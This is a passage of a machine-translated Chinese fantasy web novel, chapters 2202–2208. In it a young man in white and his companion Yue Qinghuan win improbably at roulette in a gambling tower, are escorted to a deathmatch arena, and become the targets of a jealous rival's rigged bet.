    While laughing, he whispered softly: "I have used all my scheming in this kind of place, I really don''t know if it is sad or lamentable!"


    "Don''t talk nonsense, or just place a bet, or give up, you can choose one yourself!" Cheng Lixuan sneered.


    Xue An turned his head to look at Yue Qinghuan, and said lightly: "I just said that you are lucky now, so you think... Which two numbers, 0 and 00, should be better?"


    Yue Qinghuan was a little dumbfounded.


    What do you mean?


    There are only two numbers left, so I have to choose one of them?


    Didn''t this extinguish some hope that was already very slim?


    Cheng Lixuan even sneered, then watched quietly while holding his shoulders.


    He was quite sure that the boy in white would lose, and he would lose miserably.


    So what he is doing now is just delaying time.


    "Huh? What do you think?" Seeing that Yue Qinghuan kept not answering, Xue An couldn''t help raising his eyebrows and asked softly.


    "I����."


    "You can play whichever you want! Here, here are the chips!" Xue An handed the brocade box over.


    Yue Qinghuan took up a bargaining chip in a daze, and after hesitating for a while, he finally placed it on the number 00.


    Cheng Lixuan almost laughed when he saw this.


    The crowd was even more commotion.


    Because compared to 0, the probability of 00 out of this number is even slimmer.


    Almost every 100,000 disks may appear once.


    Xue An smiled slightly, "Okay, let''s go here!"


    With that, he clattered, poured all the chips in the gold box on this area, and then nodded to the dealer behind the roulette.


    "let''s start!"


    The roulette turned rapidly again.


    No one else made a bet this time, but watched the bet with all their attention.


    The old **** Cheng Lixuan was standing there, there was no pressure in his heart You must know that this time he bet all 36 numbers, but the other party only bet one number, or very little 00 out of.


    Not to mention anything else, he was already crushed by probability alone!


    So no matter how you look at it, Cheng Lixuan feels that he will win this time!


    The thought of this young man about to kneel in front of him begging for mercy, and this stunning girl might also be in his pocket.


    Cheng Lixuan was trembling slightly with excitement.


    But at this moment, the speed of the roulette wheel began to slow down, and then the little ball slowly rolled towards the green area representing 00.


    When it finally stayed at 00, the audience was completely silent.


    Even the croupier looked at the scene in front of him dumbfounded.


    Xue An smiled at Cheng Lixuan.


    "Sorry, you lost!"

 Chapter 2203： Willing to bet

    Cheng Lixuan''s face instantly became uglier than eating shit.


    He never thought that he would lose!


    But the facts are in front of him, and he can''t help but admit it.


    But if he was asked to just bow his head and concede defeat and kowtow to this white-clothed boy as a compliment, he would be extremely unwilling.


    So he froze there.


    At this time, Xue An raised his eyebrows slightly, "What? What are you doing in a daze? Didn''t we have already said before, and those who have lost knelt down to admit defeat and beg for mercy, so please start now!"


    Such aggressive words also made many people sweat for Xue An secretly.


    Because everyone knows that Cheng Lixuan, known as the God of Gamblers, would never give in so willingly.


    really.


    A cold light flashed in Cheng Lixuan''s eyes, and then he sneered.


    "Give up? Why should I surrender to you? On the contrary, I now seriously suspect that you are paying a thousand!"


    boom!


    As soon as this remark came out, there was a low uproar in the audience.


    Because everyone knows what it means in Zuishenglou.


    Xue An looked indifferent, "Oh? Out of a thousand? Why do you suspect me of out of a thousand?"


    "It''s very simple, because I have been at this gaming table for at least ten years, and I have experienced no less than 100,000 cards, and I have never seen it open 00!"


    "You haven''t experienced it, doesn''t it exist?"


    "Hehe, how can there be such a coincidence in the world, why did it happen by coincidence when you dropped 00 this time? So you are definitely making a thousand!" Cheng Lixuan said viciously.


    Xue An laughed, and suddenly said, "They called you the God of Gamblers before, but now it seems that you are not even a gambler. The gambling game is inherently ever-changing. You said that there is no such coincidence, but it just happened. Now, don��t you believe it just because of this?"


    "Don''t tell me anything about the ever-changing things, I just don''t believe that there is such a coincidence, you are definitely making a thousand!" Cheng Lixuan roared hysterically.


    At this moment, a majestic voice came from behind the screen.


    "Who dares to come out in Zuishenglou!"


    Following the voice, I saw a magnificent bald man stepping in.


    The bald man was at least about two meters tall, he was as strong as an ox, and his upper body was naked, revealing his muscular lines.


    And on his head, there was a weird double-headed viper tattooed with its tail extending right to the corner of his cheek.


    When this made him laugh, he looked extremely gloomy and vicious.


    All bald men followed behind him. These people were tattooed with terrible evil monsters on their heads, and they looked extremely frightening with the cold aura.


    When they saw the strong man in the lead, everyone at the gaming table throbbed in their hearts, and then stood up and bowed their heads.


    "I have seen Team Leader Lu!"


    "I have seen Captain Lu!"


    The shouts came and went one after another, even Cheng Lixuan, who was an immortal-level master, turned pale after seeing this brawny man, then took a half step back, bowed his head and said.


    "Captain Lu!"


    That''s right!


    This brawny man is the commander of all thugs guarding the first and second floors, Lu Yushi.


    This person is extremely strong, and there are even rumors that he has been promoted to a half-step saint.


    But what is even more frightening is his extremely cruel temperament.


    The method of destroying the corpse and destroying the gods at every turn gave him the title of King Lu Yan early.


    It can be said that in the first and second floors, whether it is a gambler or a person in the Zuisheng Building, they are all afraid of him.


    Seeing him actually appear on the stage at this moment, many people felt a little bad.


    This matter is estimated to be difficult!


    "Well! Who am I? It turns out to be the God of Gamblers!" Lu Yushi said lazily.


    "Don''t dare!" The cold sweat on Cheng Lixuan''s face came down, and even Qianrong.


    "Haha!" Lu Yushi sneered, then his eyes shifted from him to Xue An and Yue Qinghuan who were aside.


    At that moment, Yue Qinghuan felt as if he was being stared at by an ancient poisonous dragon dormant in the abyss, and the hairs all over his body stood up.


    What a strong power, what a terrifying murderous aura!


    The alarm bell in Yue Qinghuan''s heart.


    But Xue An seemed to look at the air, and even the smile on the corner of his mouth did not change.


    This reaction caused Lu Yushi''s eyes to be slightly narrowed, and then he said indifferently, "Cheng Lixuan, I just heard you yelling, saying that someone is coming out of the Zuisheng Building. What is going on? ?"


    Cheng Lixuan was overjoyed and immediately stepped forward and said, "Captain Lu, this is what happened! I just bet this young man, he placed a 00, and I placed 36 numbers, I think you too You should know what this means for roulette!"


    "What then? Did you lose?" Lu Yushi retracted his gaze and looked at Cheng Lixuan quite meaningfully.


    "That''s right! This plate actually drove 00, but there is no such coincidence in the world, so I suspect that he is a thousand!" Cheng Lixuan said, looking at Xue An quite proudly, thinking in his heart.


    Now I see what you can do!


    Even King Lu Yan has appeared, now you are definitely dead!


    After hearing what Cheng Lixuan said, Lu Yushi looked at Xue An faintly, "Young man, is what he said is true?"


    Xue An nodded.


    Yue Qinghuan felt the blood rush to the top of his head.


    How can you admit it at this time!


    Lu Yushi was also taken aback, just about to speak.


    At this moment, Xue An said calmly: "The gambling game he said is true, but something like this is false!"


    call!


    Yue Qinghuan let out a sigh of relief, only feeling sweaty in his palms.


    Lu Yushi also reacted at this time, and then said with a strange smile: "You said that there is no one thousand, can there be evidence?"


    Xue An shook his head, "No! But I want to know that since Zuisheng Building is famous for gambling, I must know that gambling costs are ever-changing, so why does he feel that I am out of money if he loses?"


    "You are talking nonsense, UU reading has never published a result, why did you show up as soon as you bought it?" Cheng Lixuan shouted.


    Xue An raised his eyebrows slightly, "That proves that I am lucky, is there a problem? And you keep saying that I am out of thousands, do you have any evidence?"


    "You..." Cheng Lixuan was speechless when asked.


    Xue An looked at Lu Yushi and said indifferently: "With such a famous name, Zuishenglou must know the best of these four words. Now he has lost but refused to admit it. What do you think should be done?"


    Yue Qinghuan was shocked again.


    Because she was surprised to find that Xue An actually reversed the situation completely in a few words.


    Now it is even more famous for Zuishenglou.


    And the reasons given are also impeccable!


    If Lu Yushi couldn''t make a reasonable response, it would be a blow to the prestige of the entire Zuisheng Building.


    So when Xue An said these words, the result of Cheng Lixuan was already doomed.

 Chapter 2204： What is the real European Emperor

    eally!


    After hearing what Xue An said, Lu Yushi immediately turned his head and looked at Cheng Lixuan viciously.


    "What do you have to say now?"


    Cheng Lixuan was frightened with cold sweat on his forehead, trembling: "Lu...Captain Lu, this incident really reveals a strange thing! This guy must be doing a trick in it!"


    "Stop talking nonsense, since you have entered the Zuisheng Building, you have to be willing to bet. Now that you have lost, then kneel down and apologize to others!" Lu Yushi said coldly.


    Cheng Lixuan never dreamed of such a huge reversal.


    But before he could react, Lu Yushi raised his hand.


    Two men immediately rushed up from behind him, came behind Cheng Lixuan, and slammed his shoulder.


    "Kneel down!"


    Cheng Lixuan didn''t even hum, but fell to his knees.


    This is not to say that these two men are stronger than Cheng Lixuan.


    It''s all because of the token held by these two people.


    This token inherits the power of Qi Luck of Zuishenglou, when the token is shown, it means that they are working on behalf of Zuishenglou, and naturally have the power of divine and ghost.


    In desperation, Cheng Lixuan bowed to Xue An with a face full of shame.


    "I was wrong! Please forgive me!"


    Xue An smiled faintly, then waved his hand, "Go away!"


    Cheng Lixuan trembled all over, then slowly stood up, then took a deep look at Xue An, turned around and went downstairs.


    Although he didn''t say it clearly, everyone knew what Cheng Lixuan''s last look meant.


    At this time, Lu Yushi also gave Xue An a meaningful look, and then he smiled.


    "Everyone go on!"


    After all, he led the people away.


    The storm finally subsided.


    But the people here have no intention of gambling.


    Many people are looking at Xue An with amazement, as if they have reacquainted this young man in white, who is only half a step immortal.


    Not only them, but even Yue Qinghuan looked at Xue An in shock.


    Because she suddenly discovered that Xue An��s methods just now, and the sharp words that killed people without seeing blood, were almost like a group of people she had ever met.


    It is a group of existences that can stir the world with a three-inch tongue.


    In the words of my brother, this group of talents are the ancestors of murder.


    The so-called anger and fear of the princes, living in peace, the world rests, struggling horizontally and horizontally, nothing more!


    At this moment, Xue An looked down at her, and then smiled: "What kind of look are you in?"


    Yue Qinghuan blushed, and then moved his gaze away, "What kind of look? I just looked at the way you just spoke, it''s kind of interesting, don''t think too much..."


    But before she could finish her explanation, Xue An turned around and walked to the table, and at the same time said lightly: "Okay, take advantage of your luck, come over and win money!"


    Looking at Xue An''s back, Yue Qinghuan felt a little disappointed in his heart, and then stomped bitterly.


    "What a bastard!"


    As she said, she rushed forward, grabbed a handful of the stack of chips that had been paid to herself, and threw it in the betting area.


    "open!"


    After a while, the ball stayed on the number she had bet on as expected.


    At this time, many people saw Yue Qinghuan''s eyes a little wrong.


    How small is the probability of hitting the number twice in a row?


    Even Yue Qinghuan himself was taken aback.


    When did your luck become so good?


    Xue An on the side chuckled lightly, "Don''t doubt, continue to bet, and use actual actions to tell them what is the real European Emperor!"


    really.


    From then on, Yue Qinghuan would win no matter which number he placed in the end, as if he had divine help.


    So soon there was a spectacle on the gambling table. Everyone was waiting for Yue Qinghuan to place a bet. After she had bought and left her hand, they would call the bets in a swarm in order to obtain a generous return.


    After a while, the croupier in charge of the roulette''s face was as white as paper, and there was a look of despair in his eyes.


    She had never seen such a weird card game, so she looked at the sign in the corner from time to time.


    That is the water mirror sign, which can act like a monitoring probe.


    The croupier knew that the situation here must have been passed to the inspection hall through this water mirror seal.


    The strange thing is, why no one has come forward to solve it now?


    Just when the croupier was puzzled.


    In the inspection hall located at the bottom of the first floor of Zuisheng Building, the atmosphere was also tense.


    Almost everyone gathered in front of the picture of roulette on the second floor.


    Looking at Yue Qinghuan, who was betting to win the money in the screen, the big accountant''s eyes couldn''t help narrowing slightly.


    And Lu Yushi, who was standing on the side, couldn''t help touching his big bald head at the moment, "Damn, this is really evil today, how can anyone win money?"


    As he said, he grabbed a staff member of the inspection office and asked with a stern face: "Are you sure these two people haven''t paid a thousand dollars?"


    Facing the infamous King Lu Yan, the staff member turned pale with fright, and said with a trembling voice: "At least from the video evidence we have now, we...we didn''t find anything unusual! "


    "Damn, it''s a bunch of rubbish, even a little lady can''t see through it, what''s the use of you!" This Lu Yushi stared, and stretched out his hand to break this man''s neck.


    At this moment, the large accountant on the side said lightly: "Okay, I didn''t see it or I didn''t see it. It''s not their business."


    The big accountant''s words obviously worked, at least after Lu Yushi heard his words, he let go of the staff member.


    "Get out! If it weren''t for the big accountant to speak for you, I will definitely tear you up a little bit today!"


    The staff member ran away like a pardon.


    Then Lu Yushi turned his head to look at the big accountant, "big accountant, what should I do now? Is it just watching this little lady win wildly?"


    The big accountant shook his head, UU reading "You are wrong, we are not focusing on this soldier, but the white-clothed boy next to him!"


    "Huh? You mean he did this? Damn, when I confronted Cheng Lixuan just now, I felt something was wrong with this kid. I guessed it right. Now I''m going to get him back!"


    Lu Yushi walked out murderously.


    "come back!"


    "what happened again?"


    "Do you have evidence now to arrest someone?"


    "A mere half-step Xianzun needs a **** evidence. It''s not too late to catch it and interrogate!"


    "You, you just have a simple mind!" The big accountant took his gaze back and said lightly: "It''s not difficult to get him back, but if this matter spreads, what would others think?"


    "This����."


    "Others will definitely think that Zuisheng Building can''t afford to lose, so they will take away the winning guests. Then, who would dare to come to our Zuisheng Building in the future?"

 Chapter 2205： Killing Casino

    "That''s not okay, that''s okay, then what do you say?" Lu Yushi said discouragedly.


    "I know her brother for this soldier, and I can tell by looking at her behavior that she must be the first time she came to this place and was exposed to gambling!"


    "Only this young man is a bit weird. It is certain that he is also the first visitor here, but he is so calm!"


    "Including that they won so much money, but from the beginning to the end, no matter how big the bet, he didn''t even blink his eyelids, as if the chips were all bricks and rubble. This kind of extreme calm shows that he is not An extremely smart gambler is a thousand masters with unique skills!"


    The big accountant explained softly, his eyes staying on Xue An in the picture.


    "If this is the case, it should be caught back!" Lu Yushi explained.


    "No, it''s the same sentence, even if we know something is wrong, but we don''t have evidence, we can''t arrest people!"


    At this moment, someone hurried in and came to the large accountant.


    It was the person who was sent to investigate the whereabouts of Xue An''s background.


    The big accountant''s eyes lit up, "Is there any result?"


    The man shook his head with a wry smile, "We have used all the connections, and we still haven''t found out any background of this young man. We only know that his first appearance was in the city of Pearl Pearl. At that time, he and the Yue family Women together!"


    "Orb City..." The big account room trembled, and then said in a deep voice, "Go on!"


    "As for this woman from the Yue family, she has found something. Her name is Yue Qinghuan. She is the younger sister of the genius Yue Shifang from the military family. She disappeared for a while after she came out of the Yue family some time ago. When she reappeared, There was this young man in white around him, and the relationship between the two was still very close, and nothing else was achieved!"


    After listening to these reports, the big accountant fell into deep contemplation.


    Suddenly!


    He seemed to have guessed something, a look of cruelty flashed in his eyes.


    "Okay, I see, you can withdraw! Remember, don''t talk about these things to anyone!"


    "Yes!"


    After this man retreated.


    Lu Yushi asked a little strangely: "What''s the matter? Isn''t this kid jumping out of a crack in the stone? How can it be possible that we can''t even find out the slightest clue?"


    The big accountant did not respond to his words, but stared at Xue An in the picture with gloomy eyes. After a long time, he said in a deep voice: "Come here!"


    "in!"


    "Send someone over and take them...to the third floor!"


    As soon as this statement came out, many people present were shocked, but the order was an order, and these people did not dare to disobey, so they immediately responded.


    "Yes!"


    The man hurried away.


    Lu Yushi''s expression also became serious, "Mr. Accountant, is the matter so serious?"


    "I don''t know, but the matter has come to this point. It is obviously no longer appropriate to leave them on the second floor, and no matter what kind of master of a thousand arts he is, he will all be useless when he reaches the third floor! After all...there is only by strength. The place!"


    Hearing what the big accountant said, Lu Yushi couldn''t help but nodded in admiration, "Sure enough, you still consider the big accountant well. Now I see how crazy this kid is!"


    "Okay, you can also follow to the third floor. Be careful not to expose yourself. Just hide in secret and observe this young man. If there is anything unusual..."


    A murderous look passed in the eyes of this big accountant, "You should know!"


    "understand!"


    Lu Yushi led the way.


    The big accountant stared at the screen, and whispered in his mouth: "Orb City Soldiers..., are you also involved in this matter? If this is the case, then it will be in trouble!"


    At the same time, the beauty who had led the way before walked in front of Yue Qinghuan, who was gambling.


    "Miss Yue, the accountant just ordered me to lead the two to the third floor. Please come with me now!"


    Yue Qinghuan was taken aback.


    Why did you suddenly go to the third floor again?


    Others are also a little confused.


    Because no one has been invited to the third floor for a long time.


    But Xue An nodded directly at this moment, "Okay!"


    Then he stepped forward to the third floor with this beauty.


    "Wait for me!" Yue Qinghuan shouted, and then tried to pick up the pile of chips on the table.


    The beauty smiled when she saw this, "Miss Yue, you don''t have to work so hard!"


    As she said, she winked at the person next to her.


    Someone immediately stepped forward to count the chips on the table, and then handed Yue Qinghuan a piece of jade.


    "It contains the number of all your chips, so it is much more convenient to carry it with you!"


    Yue Qinghuan was a little dissatisfied. He looked at this jade piece over and over again, always feeling that compared with those heavy bargaining chips, this jade piece was really light and fluttering.


    But the matter was over, she had no choice but to follow along to the third floor.


    In fact, Yue Qinghuan had been a little confused before, because this Zuisheng Building was extremely tall from the outside.


    But after you come in, it seems that only the first and second floors can be opened to the outside world.


    Although the height of these two floors is high, they are not enough to occupy such a tall building!


    It was not until after boarding the third floor that all these questions were solved.


    If the first and second floors of Zuisheng Building are somewhat arty, then this third floor completely abandons all the glitz and only retains the most authentic part of things.


    For example, the rough slate floor under your feet, such as the headlights that exude a dazzling light.


    All this proves that those who can come to this third floor don''t care about the external things at all.


    All they want is that they can find the greatest excitement here.


    Yue Qinghuan frowned slightly because she smelled a **** smell in the air.


    And this kind of **** air became more and more intense as it went deep.


    After turning a corner, everything that appeared in front of her made her pupils instantly shrink to the size of a needle.


    Because right in front of them, it was a huge arena.


    On the ring, a cruel struggle is taking place.


    puff!


    With the head of one of them being shattered, the fight finally ended.


    And along with the corpse falling to the ground there was a huge cheer from the audience.


    "Good kill!"


    "Ah ah ah ah so exciting!"


    In these shouts, the victor raised his hands, looked around the audience with a grin, and then walked off the ring.


    As for the body of the loser, it was thrown directly into the deep ditch beside the ring.


    There were countless beasts entrenched in it, and when the corpse just fell, they were immediately bitten by these beasts.


    The blood in the air has become unimaginable, but the more it is, the more crazy the audience will be.


    Yue Qinghuan only felt cold all over.


    Because it can be seen from the ground of the arena that has been covered with thick blood, how many brutal fights have been experienced here, and how many people have been killed in the mouth of wild beasts.


    At this time, the beauty guide said lightly: "Welcome to the third floor of Zuisheng Building, Killing Casino!"

 Chapter 2206： Young Master Long

    The structure of this killing casino is like this. The arena is located in the center, surrounded by a bottomless trench, and behind the deep trench is a grandstand extending upward in a gentle slope.


    At this moment, this huge stand was already crowded with people.


    The cheers just came from this.


    Everyone has been maddened by the extremely **** scene just now.


    And in this frenetic atmosphere, in a box at the top of the stands, a feminine-looking teenager was laughing wildly.


    "Hahahaha! It''s a fun game. It''s worthy of being the killer I think. It''s really strong enough. Pass my order and reward this victor again!"


    "Yes!"


    Some subordinates led away.


    Then a woman sitting on the sofa opposite the teenager laughed sweetly, "Young Master Long really has eyes like a torch. In just a few days, you have won no less than a hundred games!"


    "Hey, one hundred and seven rounds to be exact!" The young man known as Long Master smiled triumphantly.


    The woman pretended to be surprised and covered her mouth, "If you say that, you have already won a lot of money!"


    "Haha! It''s not bad, anyway, the principal has been doubled by more than ten times!" The Long Master said with a smile.


    "Oh, the slave family should congratulate Dragon Shao, after this incident, your family will definitely value you more!"


    "Hahahaha, I love to hear these words. Haven''t someone always said that I am a dude who only knows to enjoy? This time I will let them all see how powerful I am!"


    When he said this, the expression on Long Zhan''s face was almost distorted with excitement, and the violent power was raging in this box.


    The woman stepped back with some fear, but at this moment, Long Zhan grabbed her into his arms and said coldly.


    "What? Are you afraid of me?"


    A look of horror appeared in the woman''s eyes, but she still said with a strong smile: "Of course not!"


    "Then what are you hiding?"


    "I...I just can''t bear the power of you!"


    Long Zhan stared at this stunning woman, his mouth gradually raised.


    "You are very good, so as long as you take care of me, I can redeem you from the Zuisheng Building, but if you dare to hide the slightest bit from me..."


    Long Zhan''s eyes suddenly became extremely vicious, "I will torture you a little bit! Understand?"


    The woman''s face turned pale as paper, and she nodded and said: "Yes!"


    With that, she still showed her coquettish body as best she could, rubbing it in Long Zhan''s arms.


    "Young Master Long, don''t be angry, Nujia..."


    But at this moment, Long Zhan suddenly pushed her onto the sofa, as if throwing away a piece of rubbish, and then hurried to the window of the box.


    This window is specially made, you can only look from the inside to the outside, but you can''t see it from the outside.


    And at this moment.


    Long Zhan''s face was already stuck to the window, his eyes fixed on the two people in the distant stand, and then three words came out between his teeth.


    "Yue Qinghuan!"


    When he said the name, Long Zhan''s face turned blue, and even his whole body was trembling slightly.


    Because he suddenly saw Xue An sitting beside Yue Qinghuan.


    When Yue Qinghuan turned his head to talk to Xue An with a smile, his hands directly crushed the extremely hard jade window sill.


    Because he had never seen such a brilliant smile on Yue Qinghuan''s face.


    That''s right!


    Long Zhan recognized Yue Qinghuan.


    Not only did they know him, but Long Zhan had been madly pursuing Yue Qinghuan.


    Speaking of this, I want to briefly introduce Long Zhan.


    He was born in the Long Family, and the Long Family is also one of the military strategists.


    Because of the same reason, Long Zhan had already met Yue Qinghuan when he was very young.


    Then as he grew older, Yue Qinghuan showed a strong talent and gave birth to a worldless appearance.


    This made her one of the objects of admiration of countless young soldiers from the military.


    Long Zhan is no exception.


    And he is different, because the Long Family has become more powerful in recent years, compared to the Yue Family''s constant decline.


    But the lean camel is bigger than the horse, and the Yue family is still an extremely important branch in the twelve branches of the military.


    The only shortcoming is that there is no successor.


    In this case, the elders of the Long family began to tacitly approve and even encourage Long Zhan to pursue Yue Qinghuan.


    Because as long as this girl was chased, it would be equivalent to mastering half of the Yue family.


    This will invisibly enhance the strength of the entire Long Family.


    Naturally, Long Zhan has always done this.


    But he, who has always been extremely arrogant to himself, repeatedly smashed into the sand in front of Yue Qinghuan.


    Whether it is deliberately to please or to approach, all have done useless work.


    Even Yue Qinghuan never smiled at him from beginning to end.


    This made Long Zhan feel a deep sense of frustration.


    Even so, he still has the power to win Yue Qinghuan and regards it as his own refusal.


    But he never expected that, just today, he saw Yue Qinghuan who had disappeared for a while in this Zuisheng Building.


    And beside her, there was a boy in white who had never seen it before.


    How could this not shock him.


    now.


    Looking at the brilliant smile on Yue Qinghuan''s face, Long Zhan trembled constantly.


    "The bitches... are all bitches! How dare to secretly date other men..."


    At this moment, the woman stood up from the sofa with some fear, and cautiously approached Long Zhan who was full of fright.


    "Young Master Long, what''s wrong with you?"


    As soon as the voice fell, Long Zhan didn''t even turn his head back, slapped his backhand.


    Snapped!


    Accompanied by a very loud slap in the face, the woman was slapped from the ground and rolled in the air for several laps before landing.


    After landing, her originally charming cheek instantly swelled into a pig''s head. UU Reading even fanned out one eye, leaving only a **** hole.


    She was lying on the ground, trembling with pain.


    Long Zhan yelled, "Bitch, all slut!"


    At this moment, the door of the box was opened, and a well-dressed man walked in.


    When he came in, he first saw the woman lying on the ground and the blood all over the ground.


    This made him frown slightly, and then sighed softly: "Young Master Long, what''s the matter with you? Why are you so angry?"


    As he said, he rushed behind and waved his hand, and immediately some of his men stepped forward and carried away the woman lying on the ground who had been unconscious.


    Then he stepped to Long Zhan''s side.


    Long Zhan''s face at this time was almost twisted together, his eyes fixed on Yue Qinghuan in the distance, and he did not speak.


    The man followed his gaze and immediately understood what was going on, and couldn''t help but chuckle.

 Chapter 2207： Cynical

    "Isn''t this the Yue girl from the military family! I didn''t expect that she would also come today! Hey, who is the boy sitting next to her? Looks very intimate!"


    This statement came out.


    Long Zhan was going crazy, turned his head and looked at the man with eyes full of killing intent.


    "Gu Yushan, what do you mean by this? Are you deliberately stimulating me?"


    Gu Yushan smiled, then stretched out his hand and patted his shoulder lightly, and said lightly: "Young Master Long, I think you have misunderstood, how could I deliberately stimulate you! I''m just saying something obvious. The facts!"


    Long Zhan''s eyes were red, and even his breathing became heavier, as if he was about to explode at any time.


    "You have the ability to say it again!" Long Zhan said word by word.


    At the same time, the violent murderous spirit came straight to Guyu Mountain.


    Gu Yushan just shrugged slightly at this, and then said with a light smile.


    "Young Master Long, I am furious for the time being. I am not at all malicious! On the contrary, I came here to provide you with information! Don''t you want to know where this young man came from?"


    Long Zhan was taken aback, and then said coldly, "Of course I want to know!"


    "That''s right!" Gu Yushan''s smile became more and more brilliant, and then he told about the story of Xue An and Yue Qinghuan''s arrival at Zuisheng Building.


    After listening, Long Zhan''s eyes narrowed slightly, "Orb City?"


    "That''s right! We used almost all of our connections in Zuisheng Building, but we still can''t find out the origin of this young boy. We just know that he first appeared in Orb City!"


    Speaking of this, Gu Yushan��s smile became more profound, ��And as far as I know, this girl Yue, whom you have always regarded as a forbidden person, seems to have disappeared for a while, and when she appeared, she was also in Baozhu City. What does this show?"


    Long Zhan was already about to be burned with anger and the last trace of his remaining sanity, "I''m going to kill him, no! I''m going to tear him to pieces a little bit, so that he will never live beyond life!"


    Gu Yushan seemed to be very satisfied with this effect and said lightly: "Not only you, including our entire Zuisheng Building, are very interested in this young man, but no matter how much you want to kill him, please don''t do anything in the Zuisheng Building!"


    Hearing this, Long Zhan suddenly raised his eyes and stared at Gu Yushan, "What do you mean by this? Tell me so much, and now tell me you can''t kill him?"


    "It''s not that you are not allowed to kill him, but you can''t kill him here! Otherwise, what about the reputation of my Zuishenglou? And the reason why we let him come to this killing casino is to see, in this place that speaks purely on strength , How can he win all the way!"


    At the end, a cold look appeared on Gu Yushan''s face.


    Long Zhan was a little stunned, and then said unwillingly, "Then what am I doing? Are you just watching?"


    "Of course not!" Gu Yushan smiled very much.


    "The next gambling game, don''t you have any interest in betting against them?"


    Long Zhan had also gradually recovered his calm at this time.


    Although he has always been arrogant and arrogant, he also knows that this Zuisheng Building is not a place where he can act recklessly.


    It''s not a big deal to hurt an attendant just now. If you really dare not listen to the Gu Yushan in front of you, you won''t even be able to eat.


    Because he nodded quickly, "I see, do you want to set the game for this kid?"


    "How can I say that? I just want to give it a try, what is his ability!" Gu Yushan smiled brightly.


    "At most, he will charge a small amount of interest from the chips he just won."


    Just as the two of them were talking in the box.


    On the stand, Yue Qinghuan frowned slightly, and looked back from time to time.


    "what''s happenin?"


    "It''s very strange, I always feel an inexplicable snooping around, but I can''t find it!"


    Xue An laughed at the words, "Isn''t that normal? With your appearance, it is natural that someone will spy on you."


    Yue Qinghuan smiled at the words, "Are you complimenting me for being beautiful?"


    "Is this a boast? You are already beautiful!" Xue An said unhappily.


    "Hmph, finally showing your feet, I thought you were an iron man who didn''t make money!"


    Even so, the look on Yue Qinghuan''s face was obviously very happy.


    "Being beautiful is beautiful, and I won''t lie about it! For example, the head of the bald brother in front is very round, and I think it is very beautiful, is there a problem?" Xue An said lightly.


    When he heard Xue An actually compare himself with a bald head, Yue Qinghuan''s joy just disappeared in an instant, and then he gritted his teeth in a low voice: "You''re such a bastard!"


    Xue An was noncommittal, only smiling.


    At this time, Yue Qinghuan looked solemn, and then said: "Hey, seriously, the kind of snooping just now is really different, I always feel a little familiar, and there is also a faint maliciousness in it."


    Xue An smiled, "It''s not strange to be malicious, do you think they would be very happy if we won so much money from Zuishenglou?"


    "You mean Zuishenglou wants to target us?"


    "I am very sure of that!"


    Yue Qinghuan became nervous in an instant, "What are you waiting for? Let''s leave now!"


    Xue An looked ahead and said lightly: "Believe it or not, as soon as you leave this Zuisheng Building, there will be countless killers surrounding us immediately!"


    With that said, he looked back thoughtfully at the boxes in the stands, and said with a smile.


    "So now the safest place in the entire Linglong City is the Zuisheng Building under our feet, at least they dare not let us have an accident here!"


    "But should we keep hiding in this building and not going out?" Yue Qinghuan said anxiously.


    Xue An smiled, and suddenly reached Yue Qinghuan''s ear, and said lightly: "Have you forgotten our purpose here?"


    Yue Qinghuan went stiff and didn''t listen to what Xue An said.


    Because this is the first time Xue An has spoken so close to her She is full of strange thoughts about what he wants to do and whether I should resist.


    At the same time, Xue An returned to his seat and said lightly: "When we find the whereabouts of the shadow turtle clan and find out the truth behind the scenes, we can naturally leave!"


    Yue Qinghuan nodded in a somewhat understandable way.


    At the same time, a loud noise suddenly came from the box behind him, and at the same time a faint roar came.


    Many people in the stands were a little inexplicable, so they didn''t know what happened.


    At this moment, a gong rang from the ring, and the second game of gambling finally began.


    In an instant, everyone put their doubts behind and looked at the ring with all their attention.


    Only the corners of Xue An''s mouth raised slightly, revealing a cold smile.


    Because he knows that next, the good show will really start!

 Chapter 2208： The power of true martial arts

    Accompanied by huge cheers, the two sides of this gambling game stepped onto the ring.


    One of them was the boxer who shattered the opponent''s head before.


    He was full of arrogance, naked to the top, waving his hand to the audience.


    And every time he swipes, he will win even greater cheers.


    "Ah, ah, invincible killing god!"


    "Killing God must screw off the opponent''s head this time!"


    That''s right!


    The nickname of this boxer is the killer.


    Since he became a boxer in the Slaughter Casino, he has gone through hundreds of battles, both large and small, without a single defeat, and his opponents have all been smashed to pieces, hence the nickname.


    It seemed that he was very satisfied with the audience''s reaction. This "killing god" looked at his opponent in this gambling battle with a smug face.


    Compared to his arrogance and domineering, this opponent is much more low-key.


    Not only was the figure thin and weak, but even the white face didn''t have any blood-struck hideousness.


    On the contrary, he was more like an ordinary teenager. When standing there, his aura was completely controlled by the fighter nicknamed Killing God.


    This kind of strong contrast makes everyone dislike him in any way.


    As for the "killing god", he looked at the young man with a grinning face, and then stretched out his hand to make a vicious gesture in his throat.


    The threat can be said to be obvious.


    The boy''s reaction to this was only a slight smile, and then he lowered his eyes, took a half step back, leaned against the railing and closed his eyes to rest.


    This reaction made the audience boo.


    Because no matter how unbearable the opponent is, even if he knows that he will lose, he will still face off with his opponent before the game officially starts.


    This is also the most popular part of many audiences.


    Unexpectedly, this young man didn''t even have the most basic reaction, and that state was like being frightened.


    How can this not be disappointing.


    Even a woman, at this moment, looks contemptuous of this young man.


    Because in this arena, it is not terrible to lose or die, but the most terrifying is cowardice and cowardice.


    This is clearly what the boy is doing now.


    Even Long Zhan in the box can''t help but frown slightly after seeing this scene.


    "What''s the matter? Why do you want to match such an unbearable opponent to the Killing God? Is this unclear to die?"


    "What? Do you think this young man is very unbearable?" Gu Yushan on the side heard the words indifferently.


    "Isn''t it? Even ordinary people can see the huge gap between this young man and the killer? Let��s not talk about anything else, I have already lost a lot in terms of momentum, so I really don��t understand such a bet. What''s the point? Isn''t this a clear way to give everyone money?"


    Gu Yushan smiled, "If you even think that Young Master Long, then this bet is a success!"


    "What do you mean?" Long Zhan was taken aback.


    Gu Yushan walked to the window, looked at the young man who was closing his eyes and rested on the edge of the ring, and said lightly.


    "This young man is far more terrifying than what you have seen. This is also one of the killers I have always kept. If it wasn''t for Long Shao you to vent your anger, I wouldn''t want to use it!"


    Long Zhan finally understood, his eyes lit up, "You mean...this is the game you set for Yue Qinghuan and that kid?"


    Gu Yushan smiled slightly, "Yes!"


    "But will this really succeed?" Long Zhan was still a little unsure.


    "Don''t worry, as long as people who have been in contact with gambling and have won, it is difficult to resist the next temptation!"


    "So from the time I decided to send this teenager, their ending was already doomed!"


    Long Zhan''s gaze became more agile, and the expression on his face became even more excited, "According to you, wouldn''t I be able to make a fortune in this gambling game?"


